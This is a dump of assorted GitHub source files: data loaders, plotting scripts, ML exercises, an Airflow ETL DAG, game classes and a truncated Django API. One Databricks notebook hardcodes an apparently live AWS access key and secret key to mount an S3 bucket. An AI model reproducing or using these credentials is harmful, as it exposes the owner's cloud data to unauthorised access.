Copy velocity model to work directory\n shutil.copy2(cfg.A_UC_LF_VELMODEL,\n os.path.join(a_tmpdir,\n os.path.basename(cfg.A_UC_LF_VELMODEL)))\n\n # Save a copy of the ffsp.inp file\n shutil.copy2(a_ffsp_inp, os.path.join(a_param_outdir,\n r_ffsp_inp))\n\n # Now, run the UCSB rupture generator\n cmd = (\"%s >> %s 2>&1\" %\n (cfg.A_UC_FFSP_EXE, logfile))\n bband_utils.runprog(cmd)\n\n # Copy output to indata and outdata directories\n ffsp_output_file = \"%s.bst\" % (cfg.FFSP_OUTPUT_PREFIX)\n shutil.copy2(ffsp_output_file, os.path.join(a_indir, ffsp_output_file))\n shutil.copy2(ffsp_output_file, os.path.join(a_outdir, ffsp_output_file))\n\n os.chdir(old_cwd)\n\n print(\"UCSB Rupture Generator Completed\".center(80, '-'))\n\nif __name__ == \"__main__\":\n print(\"Testing Module: %s\" % os.path.basename((sys.argv[0])))\n ME = UCrmg(sys.argv[1], sys.argv[2], sys.argv[3],\n sys.argv[4], int(sys.argv[5]))\n","repo_name":"SCECcode/bbp","sub_path":"bbp/comps/ucrmg.py","file_name":"ucrmg.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"48"} +{"seq_id":"12479839147","text":"from datetime import datetime\nimport pandas as pd\nimport numpy as np\nfrom geoalchemy2 import WKTElement\n\nfrom db_flask.manage import db, PostCodeGeoData\nfrom land_registry import extract_postcode_stubs\n\n\ndef strip_date(dt):\n try:\n return datetime.strptime(dt, '%Y-%m-%d')\n except Exception:\n return None\n\n\ndef is_nan(x):\n try:\n return np.isnan(x)\n except Exception:\n return False\n\n\ndef load_data():\n chunk_size = 10 ** 4\n i = 0\n for chunk in pd.read_csv('london_postcodes.csv', engine='c', chunksize=chunk_size):\n chunk.columns = [c.lower().replace('-', '_').replace('/', '_').replace(' ', '_').replace('?', '')\n for c in chunk.columns]\n chunk = chunk[chunk['postcode'].notnull()]\n chunk['the_geom'] = 'POINT(' + chunk['latitude'].apply(str) + ' ' + chunk['longitude'].apply(str) + ')'\n chunk['the_geom'] = chunk['the_geom'].apply(lambda x: WKTElement(x, srid=4326))\n chunk = chunk[chunk['the_geom'].notnull()]\n # chunk['the_geom'] = WKTElement('POINT({0} {1})'.format(lon, lat), srid=4326)\n chunk.set_index('postcode', inplace=True)\n chunk['introduced'] = chunk['introduced'].apply(strip_date)\n chunk['terminated'] = chunk['terminated'].apply(strip_date)\n chunk.fillna('NULL', inplace=True)\n\n dic_chunk = chunk.T.to_dict()\n for k, args in dic_chunk.items():\n args = {k: None if v == 'NULL' else v for k, v in args.items()}\n db.session.add(PostCodeGeoData(**{'postcode': k, **args}))\n db.session.commit()\n\n i += len(chunk)\n print('Uploaded {} post codes'.format(i))\n\ndb.session.query(PostCodeGeoData).delete()\ndb.session.commit()\nload_data()\n","repo_name":"PrimePotato/limm","sub_path":"postcode_directory.py","file_name":"postcode_directory.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27569423738","text":"#!/usr/bin/env python3\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\n\nimport argparse\nfrom pathlib import Path\nfrom math import log10\n\nsns.set_theme(style=\"ticks\")\nsns.set_palette([\"#386cb0\", \"#e7298a\"])\n\n\ndef plot_and_save(input_file, output_file, size):\n df = pd.read_csv(input_file)\n\n df['Tamanho'] = df.pop('tamanho').astype('int')\n df = df[['Tamanho', 'C++', 'Python']]\n\n size = list(map(float, size.lower().split('x')))\n fig = plt.figure(figsize=size)\n\n ax = fig.add_subplot()\n\n df.plot.bar(\n title='Tempos de execução',\n ax=ax,\n\n x='Tamanho',\n xlabel='Tamanho da entrada',\n rot=0,\n\n ylabel='Tempo (s)',\n logy=True,\n )\n\n def x_formatter(value):\n value = int(value.get_text())\n\n if value % 10 != 0 or value < 0:\n return 'invalid value'\n\n # set_major_formatter were not giving the real value\n return \"$10^{%d}$\" % log10(value) if value != 0 else \"$10^0$\"\n\n ax.set_xticklabels([x_formatter(v) for v in ax.get_xticklabels()])\n\n ax.grid()\n\n plt.tight_layout()\n\n fig.savefig(output_file, format=\"pdf\")\n\n plt.show()\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Plot the execution times'\n )\n parser.add_argument(\n 'inputs_file',\n type=str,\n help='The CSV file with all the times to be plotted. '\n 'Columns: tamanho,C++,Python'\n )\n parser.add_argument(\n 'outputs_file',\n type=str,\n help='The name/path of the PDF file to be created'\n )\n\n parser.add_argument(\n '--size',\n type=str,\n default='5x5',\n help='The size of the image in inches e.g. 5x5'\n )\n\n args = parser.parse_args()\n\n input_file = Path(args.inputs_file)\n output_file = Path(args.outputs_file)\n\n plot_and_save(input_file, output_file, args.size)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"silvasara/sweep-line","sub_path":"src/plot_times.py","file_name":"plot_times.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"20934086815","text":"#!/usr/bin/python\n# AOJ\n# 0016\n\nimport math\n\ndegree = 90\nx = 0\ny = 0\n\nwhile True:\n a, b = map(int, input().split(','))\n if a is 0 and b is 0: break\n x += a * math.cos(math.radians(degree))\n y += a * math.sin(math.radians(degree))\n degree -= b\n if degree > 360:\n degree -= 360\n elif degree < 0:\n degree += 360\nprint(int(x))\nprint(int(y))\n","repo_name":"sota1235/AOJ-Answers","sub_path":"answers/0016.py","file_name":"0016.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4295861227","text":"from sklearn import datasets\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sklearn.metrics as met \n\ndef load_data():\n boston = datasets.load_boston()\n X = boston.data\n y = boston.target\n features = boston.feature_names\n return X,y,features\n\n\ndef visualize(X, y, features):\n plt.figure(figsize=(20, 5))\n feature_count = X.shape[1]\n\n # i: index\n for i in range(feature_count):\n plt.subplot(3, 5, i + 1)\n #TODO: Plot feature i against y\n xfeat = np.squeeze(np.asarray(X[:,i]))\n plt.plot(xfeat, y, 'ro')\n plt.ylabel(\"Value\")\n plt.xlabel(features[i])\n \n plt.tight_layout()\n plt.show()\n\n\ndef fit_regression(X,Y):\n #TODO: implement linear regression\n # Remember to use np.linalg.solve instead of inverting!\n X = np.insert(X, 0, 1, axis=1) # adds the bias value, \n m, n = X.shape # m rows, n columns\n # now a m x d + 1 dimension matrix\n\n Xsq = np.matmul(X.transpose(), X) # n x n\n Xty = np.matmul(X.transpose(), Y) # n x m x n x 1\n\n i1, i2 = Xsq.shape \n I = np.identity(i1)\n\n Xsqinv = np.linalg.solve(Xsq, I) \n\n W = np.matmul(Xsqinv, Xty) \n return W \n\n\ndef main():\n # Load the data\n X, y, features = load_data()\n\n # --- added ---\n\n dim = np.size(y)\n # --- added ---\n\n #print(features)\n\n print(\"Features: {}\".format(features))\n \n\n # Visualize the features\n visualize(X, y, features)\n\n #TODO: Split data into train and test\n rows, cols = X.shape \n Xs = np.insert(X, cols, 1, axis=1)\n Xs[:,-1] = y # design:target\n\n np.random.shuffle(Xs) # randomizes design:target \n eighty = int(dim*0.8) # approx 80 percent of data\n train, test = Xs[:eighty,:], Xs[eighty:,:] # split 80-20\n\n ytr = train[:,-1]\n yts = test[:,-1]\n\n train = train[:,0:-1]\n test = test[:,0:-1]\n\n # Fit regression model\n w = fit_regression(train, ytr) # 13 dims + bias \n\n # Compute fitted values, MSE, etc.\n\n print(w) \n\n testb = np.insert(test, 0, 1, axis=1) # include bias element \n ypred = np.matmul(testb, w) # prediction \n msqe = met.mean_squared_error(yts, ypred) # mean squared error, see writeup\n msle = met.mean_squared_log_error(yts, ypred) # mean sq log error, see writeup\n mae = met.mean_absolute_error(yts, ypred) # mean abs error, see writeup\n\n print(msqe)\n print(msle)\n print(mae)\n\n# ENTRY POINT: \nif __name__ == \"__main__\":\n main()\n","repo_name":"ginkxo/intro-machine-learning","sub_path":"a1/code/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39846080768","text":"from channel import Resource\nfrom P_Persistent import Node\n\nif __name__ == \"__main__\":\n data = \"\"\"My name is Arpan\"\"\"\n resource = Resource(30)\n node_list = [Node(7, resource, True,3 , data), Node(2, resource, True, 14, data),\n Node(12, resource, True, 18, data),\n Node(13, resource, True, 25, data), Node(23, resource, True, 28, data),\n Node(3, resource, False, 3), Node(14, resource, False, 14), Node(18, resource, False, 18),\n Node(25, resource, False, 25), Node(28, resource, False, 28)]\n # nodes = [Node(7, resource, True, 2, data), Node(2, resource, False, 2)]\n\n # print(f\"Sender {node_list[0].location} takes \", node_list[0].time_taken)\n # print(f\"Sender {node_list[1].location} takes \", node_list[1].time_taken)\n # print(f\"Sender {node_list[2].location} takes \", node_list[2].time_taken)\n","repo_name":"arpan-svci/BCSE-III-CN-Assignments","sub_path":"computer_networks_3/Assignment3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24404625356","text":"from __future__ import print_function\n\nif __name__ == '__main__':\n print(\"Hello, Wold!\")\n\n\"\"\"\n\n\nif __name__ == '__main__':\n a = int(raw_input())\n b = int(raw_input())\n print(a + b)\n print(a - b)\n print(a * b)\"\"\"\nimport math\nimport os\nimport random\nimport re\nimport sys\n\nn = int(input(\"enter number > \"))\nif n % 2 == 0 and (n in range(2, 6) or n > 20):\n print(\"Not \", )\n\nprint(\"Weired\")\n\nprint(*range(1, int(input()) + 1), sep='')\n\ni = int(input())\nlis = list(map(int,input().strip().split()))[:i]\nz = max(lis)\nwhile max(lis) == z:\n lis.remove(max(lis))\n\nprint(max(lis))\n\nif __name__ == '__main__':\n n = int(input())\n student_marks = {}\n for _ in range(n):\n name, *line = input().split()\n scores = list(map(float, line))\n student_marks[name] = scores\n query_name = input()\n query_scores = student_marks[query_name]\n print(\"{0:.2f}\".format(sum(query_scores)/(len(query_scores))))\n","repo_name":"Mubeen-227452/python_rep","sub_path":"HackerRankExample/Pack1/FirstPrint.py","file_name":"FirstPrint.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29872593811","text":"# Databricks notebook source\nimport urllib\nfrom pyspark.sql.functions import monotonically_increasing_id\n\n# COMMAND ----------\n\ndef mount_s3(bucketName: str, mountName: str) -> None:\n #For dev it is ok to expose creds but use keyVault preferbally\n AccesskeyID = \"AKIA2KGEVPQ3DPIADP3E\"\n Secretaccesskey = \"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\"\n encoded_secret_key = urllib.parse.quote(string = Secretaccesskey, safe=\"\")\n if not any(\n mountName.mountPoint == mountName for mountName in dbutils.fs.mounts()\n ):\n dbutils.fs.mount(f\"s3a://{AccesskeyID}:{encoded_secret_key}@{bucketName}\", mountName)\n print(f\"{mountName} is created\")\n else:\n print(\"mount already exists\")\n\n# COMMAND ----------\n\nfiles_path = \"/mnt/awsStore/LOAD_5FILES\"\n\ndef retrive_file_names(files_path):\n files = list()\n for file in dbutils.fs.ls(files_path):\n if ((file.name).endswith(\".csv\")) and (file.name) not in [\"EMP_01_20230704.csv\", \"EMP_04_20230702.csv\"]:\n files.append(file.path)\n return files\n# retrive_file_names(files_path)\n\n# COMMAND ----------\n\ndef union_files(files):\n # Initialize an empty DataFrame\n combined_df = None\n # Iterate through the CSV files\n\n for file in files:\n # Load the CSV file\n rdd = spark.sparkContext.textFile(file)\n \n # Skip the first 12 lines\n rdd_skipped = rdd.zipWithIndex().filter(lambda x: x[1] >= 11).map(lambda x: x[0])\n\n df = spark.read.csv(rdd_skipped, header = \"True\")\n \n # Extract the column names of the current CSV file\n current_columns = df.columns\n print(file, current_columns)\n \n \n # Check if it's the first file or if the column names match the existing DataFrame\n if combined_df is None or (set(combined_df.columns) == set(current_columns)):\n # Union the DataFrame if it's the first file or if the column names match\n if combined_df is None:\n combined_df = df\n else:\n combined_df = combined_df.union(df)\n else:\n print(f\"Columns in file '{file}' do not match the existing DataFrame.\")\n continue\n return combined_df\n\n# COMMAND ----------\n\n# mount S3\nbucketName = \"mybucketaws0001\"\nmountName = \"/mnt/awsStore\"\ntry:\n mount_s3(bucketName, mountName)\nexcept Exception:\n print(Exception)\n\ns3_files = retrive_file_names(files_path)\ndf = union_files(s3_files)\ndisplay(df)\n\n# COMMAND ----------\n\ndbutils.fs.unmount(\"/mnt/awsStore\")\n","repo_name":"Sandeep501/pyspark-fileload","sub_path":"shameem_S3_fileloads.py","file_name":"shameem_S3_fileloads.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33698077704","text":"from enum import Enum\n\nfrom catan.datastructures.node_abc import Node\n\n\nclass SettlementType(Enum):\n VILLAGE = 0\n CITY = 1\n CASTLE = 2\n\nclass Settlement(Node):\n NODE_TYPE = \"SETTLEMENT\"\n \n def __init__(self, settlement_type = SettlementType.VILLAGE,isEdge = False) -> None:\n super().__init__()\n self.roads = []\n self.port = None\n self.resources = []\n self.player = None\n self.isEdge = isEdge\n self.node_type = settlement_type\n\n def add_road(self,road):\n if len(self.roads) < 2 and self.isEdge:\n self.roads.append(road)\n\n def upgrade(self):\n if SettlementType.VILLAGE == self.get_type():\n self.node_type = SettlementType.CITY\n elif self.get_type() == SettlementType.CITY:\n self.node_type = SettlementType.CASTLE\n\n def assign_player(self,player):\n if self.player is not None:\n self.player = player\n\n def get_player(self):\n return self.player\n \n \n\n","repo_name":"lior-alafi/catan","sub_path":"catan/datastructures/settlements.py","file_name":"settlements.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40772920351","text":"# demo to show Weather icons on 8*8 ledmatrix\n# 2017-0721 PePo, https://hackaday.io/project/20839-weather-pal\nimport busio\nimport board\nimport time\nfrom adafruit_ht16k33 import matrix\n\n# ICON images\nfrom weathericons import ICONS\n\n# specify matrices 'lefteye' and 'righteye'\ni2c = busio.I2C(board.SCL, board.SDA)\nlefteye = matrix.Matrix8x8(i2c, address=0x70)\nrighteye = matrix.Matrix8x8(i2c, address=0x71)\n\n# show 'image' on 'matrix' starting (0,0)\ndef show(matrix, image, dx=0, dy=0):\n ''' show(matrix, image, dx=0, dy=0)'''\n for y , row in enumerate(image):\n bit = 1\n for x in range(8):\n matrix.pixel(dx+x, dy+y, row & bit)\n bit <<= 1\n matrix.show()\n\n# clear matrix \ndef clear(matrix):\n matrix.fill(0)\n matrix.show()\n\n# show icons\n# pre-condition: ICONS\ndef demo(dt=1.0, brightness=1):\n lefteye.brightness(brightness)\n righteye.brightness(brightness)\n\n show(lefteye, ICONS['01'],0,0)\n show(righteye, ICONS['02'],0,0)\n time.sleep(dt)\n\n show(lefteye, ICONS['03'],0,0)\n show(righteye, ICONS['04'],0,0)\n time.sleep(dt)\n\n show(lefteye, ICONS['09'],0,0)\n show(righteye, ICONS['10'],0,0)\n time.sleep(dt)\n\n show(lefteye, ICONS['11'],0,0)\n show(righteye, ICONS['13'],0,0)\n time.sleep(dt)\n\n show(lefteye, ICONS['fog'],0,0)\n clear(righteye)\n time.sleep(dt)\n\n #cleanup\n clear(lefteye)\n clear(righteye)\n\n# run demo\nimport urandom\ntry:\n while True:\n b = urandom.randrange(10) #pickup random value 0..9\n print('brightness:{0}'.format(b))\n demo(1.5, b)\n time.sleep(4)\nexcept:\n print('Demo interrupted')\n clear(lefteye)\n clear(righteye)\n\nprint('Demo done')\n","repo_name":"flashypepo/myMicropython-Examples","sub_path":"WeatherStation/weathericonsdemo.py","file_name":"weathericonsdemo.py","file_ext":"py","file_size_in_byte":1693,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"34694593513","text":"#%% 头文件\nimport numpy as np \nfrom sklearn import datasets\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\n\n#%% 特殊函数\n#######################################################################################\nfrom matplotlib.colors import ListedColormap\n\ndef plot_decision_regions(X, y, classifier, test_idx=None, resolution=0.02):\n markers = ('s', 'x', 'o', '^', 'v')\n colors = ('red', 'blue', 'lightgreen', 'gray', 'cyan')\n cmap = ListedColormap(colors[:len(np.unique(y))])\n\n x1_min, x1_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n x2_min, x2_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx1, xx2 = np.meshgrid(\n np.arange(x1_min, x1_max, resolution), \n np.arange(x2_min, x2_max, resolution)\n )\n Z = classifier.predict(np.array([xx1.ravel(), xx2.ravel()]).T).reshape(xx1.shape)\n plt.contourf(xx1, xx2, Z, alpha=0.4, cmap=cmap)\n plt.xlim(xx1.min(), xx1.max())\n plt.ylim(xx2.min(), xx2.max())\n\n X_test = X[test_idx, :]\n # y_test = y[test_idx, :]\n for idx, cl in enumerate(np.unique(y)):\n plt.scatter(x=X[y == cl, 0], y=X[y == cl, 1], alpha=0.8, \n c=cmap(idx), marker=markers[idx], label=cl)\n \n if test_idx:\n X_test = X[test_idx, :]\n # y_test = y[test_idx, :]\n plt.scatter(X_test[:, 0], X_test[:, 1], c='', alpha=1.0, \n linewidths=1, marker='o', s=55, label='test set')\n#######################################################################################\n\n#%% 输入数据处理\nrow_data, row_target = datasets.load_wine(True)\nX_train, X_test, Y_train, Y_test = train_test_split(\n row_data, \n row_target, \n test_size=0.3, \n random_state=0\n)\nsc = StandardScaler().fit(X_train)\nX_train_std = sc.transform(X_train)\nX_test_std = sc.transform(X_test)\n\n#%%\nX_test_std = StandardScaler().fit_transform(X_test)\nnp.set_printoptions(precision=4)\nmean_vecs = []\nfor label in range(3):\n mean_vecs.append(np.mean(X_train_std[Y_train == label], axis=0))\n print('MV %s: %s\\n' %(label, mean_vecs[label - 1]))\n\n#%%\nd = 13\ns_w = np.zeros((d, d))\nfor label, mv in zip(range(3), mean_vecs):\n class_scatter = np.cov(X_train_std[Y_train == label].T)\n s_w += class_scatter\nmean_overall = np.mean(X_train_std, axis=0)\ns_b = np.zeros((d, d))\nfor i, mean_vec in enumerate(mean_vecs):\n n = np.sum(row_target == i)\n mean_vec = mean_vec.reshape(d, 1)\n mean_overall = mean_overall.reshape(d, 1)\n s_b += n * (mean_vec - mean_overall).dot((mean_vec - mean_overall).T)\neigen_vals, eigen_vecs = np.linalg.eig(np.linalg.inv(s_w).dot(s_b))\neigen_pairs = [(np.abs(eigen_vals[i]), eigen_vecs[:, i])\n for i in range(len(eigen_vals))]\neigen_pairs = sorted(eigen_pairs, key=lambda k: k[0], reverse=True)\nprint('Eigenvalues in decreasing order:\\n')\nfor eigen_val in eigen_pairs:\n print(eigen_val[0])\n\n#%%\ntot = sum(eigen_vals.real)\ndiscr = [(i / tot) for i in sorted(eigen_vals.real, reverse=True)]\ncum_discr = np.cumsum(discr)\nplt.bar(range(1, 14), discr, alpha=0.5, align='center', \n label='individual \"discriminability\"')\nplt.step(range(1, 14), cum_discr, where='mid', \n label='cumulative \"discriminability\"')\nplt.ylabel('\"discriminability\" ratio')\nplt.xlabel('Linear Discriminants')\nplt.ylim([-0.1, 1.1])\nplt.legend()\nplt.show()\n\n#%%\nw = np.hstack((eigen_pairs[0][1][:, np.newaxis].real, \n eigen_pairs[1][1][:, np.newaxis].real))\nX_train_lda = X_train_std.dot(w)\ncolors = ['r', 'g', 'b']\nmarkers = ['s', 'x', 'o']\nfor l, c, m in zip(np.unique(Y_train), colors, markers):\n plt.scatter(X_train_lda[Y_train == l, 0], X_train_lda[Y_train == l, 1], \n c=c, label=l, marker=m)\nplt.xlabel('LD 1')\nplt.ylabel('LD 2')\nplt.legend(loc='upper right')\nplt.show()\n\n#%%\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nlda = LinearDiscriminantAnalysis(n_components=2)\nX_train_lda = lda.fit_transform(X_train_std, Y_train)\nlr = LogisticRegression().fit(X_train_lda, Y_train)\nplot_decision_regions(X_train_std, Y_train, classifier=lr)\nplt.xlabel('LD 1')\nplt.ylabel('LD 2')\nplt.legend(loc='lower left')\nplt.show()\n\n#%%\nX_test_lda = lda.transform(X_test_std)\nplot_decision_regions(X_test_lda, Y_test, classifier=lr)\nplt.xlabel('LD 1')\nplt.ylabel('LD 2')\nplt.legend(loc='lower left')\nplt.show()","repo_name":"open-gap/Python-Machine-Learning","sub_path":"jpt_LDA.py","file_name":"jpt_LDA.py","file_ext":"py","file_size_in_byte":4374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71303364305","text":"\n\"\"\"\nAuthor: Abraham Lemus Ruiz\nLast change: 7pm 8/12/2020\nlinkedin: https://www.linkedin.com/in/abraham-lemus-ruiz/\n\"\"\"\n\n\nimport numpy as np\n\n\nclass LinearRegressionByHand():\n def __init__(self, learning_rate = 0.001, iterations = 100000):\n self.learning_rate = learning_rate\n self.iterations = iterations\n \n def compute_loss(self, y, y_true):\n loss = np.sum( (y - y_true)**2 )\n return loss / ( 2 * self.n )\n \n def predict(self, X): #returns y = b + p1x1 + p2x2 + ... + pnxn\n y = self.b + X @ self.W\n return y\n \n def gd(self, X, y_true, y_hat): #Compute the derivatives from the loss function\n db = np.sum(y_hat - y_true) / self.m\n dW = np.sum( (y_hat - y_true).T @ X, axis=0)/ self.m\n return dW, db\n \n def update_params(self, dW, db):\n self.W = self.W - self.learning_rate * np.reshape(dW, (self.n, 1))\n self.b = self.b - self.learning_rate * db\n\n def fit(self, X, y):\n y = y.values.reshape(-1,1)\n self.m, self.n = X.shape # m is # of rows. n is # of features\n self.W = np.random.randn(self.n, 1) # init random params\n self.b = np.random.randn() # bias\n self.losses = []\n for _ in range(self.iterations):\n y_hat = self.predict(X)\n loss = self.compute_loss(y_hat, y)\n self.losses.append(loss)\n dW, db = self.gd(X, y, y_hat) \n self.update_params(dW, db)\n return self.losses\n","repo_name":"abraham149/linear_regression_project_d8_btc","sub_path":"LRByHand.py","file_name":"LRByHand.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73096457104","text":"n = int(input())\nnumeros = []\nfor a in range(n):\n num = int(input())\n if num != 0:\n numeros.append(num)\n else:\n numeros.pop()\nprint(sum(numeros))\n\n'''\n\nEntrada\n4\n3\n0\n4\n0\nSaída\n0\n\t\n \n\nEntrada\n10\n1\n3\n5\n4\n0\n0\n7\n0\n0\n6\nSaída\n7\n\t\n'''","repo_name":"felipexrn/programacao","sub_path":"obi/senior/2021/fase1/zero.py","file_name":"zero.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8571175060","text":"from flask_sqlalchemy import SQLAlchemy\n\ndb = SQLAlchemy()\n\nclass Event(db.Model):\n __tablename__= \"event\"\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String, nullable=False)\n description = db.Column(db.String, nullable=False)\n start_time = db.Column(db.DateTime, nullable=False)\n end_time = db.Column(db.DateTime, nullable=False)\n\n def __repr__(self):\n return f'{self.title} on {self.start_time.date()} at {self.start_time.time()}'","repo_name":"Chrisdbeloved1/Event-manager","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1759901316","text":"from datetime import datetime, timedelta\nimport os\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators import (StageToRedshiftOperator, LoadFactOperator,\n LoadDimensionOperator, DataQualityOperator)\nfrom helpers import SqlQueries\n\n# AWS_KEY = os.environ.get('AWS_KEY')\n# AWS_SECRET = os.environ.get('AWS_SECRET')\n\ndefault_args = {\n 'owner': 'kene',\n 'depends_on_past': False,\n 'start_date': datetime(2020, 3, 7),\n 'retries': 3,\n 'retry_delay': timedelta(minutes=5),\n 'catchup': False,\n 'email_on_retry': False\n}\n\ndag = DAG('sparkify_etl_dag',\n default_args=default_args,\n description='Load and transform data in Redshift with Airflow',\n # schedule_interval='0 * * * *'\n )\n\nstart_operator = DummyOperator(task_id='Begin_execution', dag=dag)\n\nstage_events_to_redshift = StageToRedshiftOperator(\n task_id='Stage_events',\n dag=dag,\n table='staging_events',\n redshift_conn_id='redshift',\n aws_credentials_id='aws_credentials',\n s3_bucket='udacity-dend',\n s3_key='log_data',\n json_paths='log_json_path.json',\n # use_partitioned=True,\n # partition_template='{execution_date.year}/{execution_date.month}'\n)\n\nstage_songs_to_redshift = StageToRedshiftOperator(\n task_id='Stage_songs',\n dag=dag,\n table='staging_songs',\n redshift_conn_id='redshift',\n aws_credentials_id='aws_credentials',\n s3_bucket='udacity-dend',\n s3_key='song_data',\n)\n\nload_songplays_table = LoadFactOperator(\n task_id='Load_songplays_fact_table',\n dag=dag,\n redshift_conn_id='redshift',\n query=SqlQueries.songplay_table_insert,\n target_table='songplays'\n)\n\nload_user_dimension_table = LoadDimensionOperator(\n task_id='Load_user_dim_table',\n dag=dag,\n redshift_conn_id='redshift',\n query=SqlQueries.user_table_insert,\n target_table='users'\n)\n\nload_song_dimension_table = LoadDimensionOperator(\n task_id='Load_song_dim_table',\n dag=dag,\n redshift_conn_id='redshift',\n query=SqlQueries.song_table_insert,\n target_table='songs'\n)\n\nload_artist_dimension_table = LoadDimensionOperator(\n task_id='Load_artist_dim_table',\n dag=dag,\n redshift_conn_id='redshift',\n query=SqlQueries.artist_table_insert,\n target_table='artists'\n)\n\nload_time_dimension_table = LoadDimensionOperator(\n task_id='Load_time_dim_table',\n dag=dag,\n redshift_conn_id='redshift',\n query=SqlQueries.time_table_insert,\n target_table='time'\n)\n\nquality_check_staging_events_table = DataQualityOperator(\n task_id='quality_check_staging_events_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='staging_events'\n)\n\nquality_check_staging_songs_table = DataQualityOperator(\n task_id='quality_check_staging_songs_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='staging_songs'\n)\n\nquality_check_songplays_table = DataQualityOperator(\n task_id='quality_check_songplays_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='songplays',\n dq_checks=[{'check_sql': \"SELECT COUNT(*) FROM songplays WHERE playid is null\", 'expected_result': 0}]\n)\n\nquality_check_users_table = DataQualityOperator(\n task_id='quality_check_users_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='users',\n dq_checks=[{'check_sql': \"SELECT COUNT(*) FROM users WHERE userid is null\", 'expected_result': 0}]\n)\n\nquality_check_artists_table = DataQualityOperator(\n task_id='quality_check_artists_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='artists',\n dq_checks=[{'check_sql': \"SELECT COUNT(*) FROM artists WHERE artistid is null\", 'expected_result': 0}]\n)\n\nquality_check_songs_table = DataQualityOperator(\n task_id='quality_check_songs_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='songs',\n dq_checks=[{'check_sql': \"SELECT COUNT(*) FROM songs WHERE songid is null\", 'expected_result': 0}]\n)\n\nquality_check_time_table = DataQualityOperator(\n task_id='quality_check_time_table',\n dag=dag,\n redshift_conn_id='redshift',\n table='time',\n dq_checks=[{'check_sql': \"SELECT COUNT(*) FROM time WHERE start_time is null\", 'expected_result': 0}]\n)\n\nend_operator = DummyOperator(task_id='Stop_execution', dag=dag)\n\nstart_operator >> [stage_events_to_redshift, stage_songs_to_redshift]\nstage_events_to_redshift >> quality_check_staging_events_table\nstage_songs_to_redshift >> quality_check_staging_songs_table\n[quality_check_staging_events_table, quality_check_staging_songs_table] >> load_songplays_table >> quality_check_songplays_table\nquality_check_songplays_table >> load_time_dimension_table >> quality_check_time_table\nquality_check_staging_events_table >> load_user_dimension_table >> quality_check_users_table\nquality_check_staging_songs_table >> [load_artist_dimension_table, load_song_dimension_table]\nload_artist_dimension_table >> quality_check_artists_table\nload_song_dimension_table >> quality_check_songs_table\n[quality_check_time_table, quality_check_users_table, quality_check_songs_table, quality_check_artists_table] >> end_operator\n","repo_name":"kudeh/udacity-dend-projects","sub_path":"sparkify_data_pipeline_airflow/dags/sparkify_etl_dag.py","file_name":"sparkify_etl_dag.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"2060032832","text":"from apps.anime.models import AnimeModel\nfrom apps.studios.models import StudioModel\nfrom ninja import Router\n\nfrom django.http import HttpRequest\nfrom django.shortcuts import get_list_or_404, get_object_or_404\n\nfrom ...schemas.studios import StudioSchema\n\nrouter = Router()\n\n\n@router.get(\"/{int:anime_id}/studios\", response=list[StudioSchema])\ndef get_individual_anime_studio_info(\n request: HttpRequest,\n anime_id: int,\n) -> list[StudioModel]:\n query = get_list_or_404(\n get_object_or_404(AnimeModel, pk=anime_id).studios,\n )\n\n return query\n\n\n@router.post(\"/{int:anime_id}/studios\", response=StudioSchema)\ndef post_individual_anime_studio_info(\n request: HttpRequest,\n anime_id: int,\n payload: StudioSchema,\n) -> StudioModel:\n # Set this at top\n # Because if there is no anime_info_model with corresponding query\n # theres no point in continuing\n anime_info_model = get_object_or_404(AnimeModel, pk=anime_id)\n\n query = 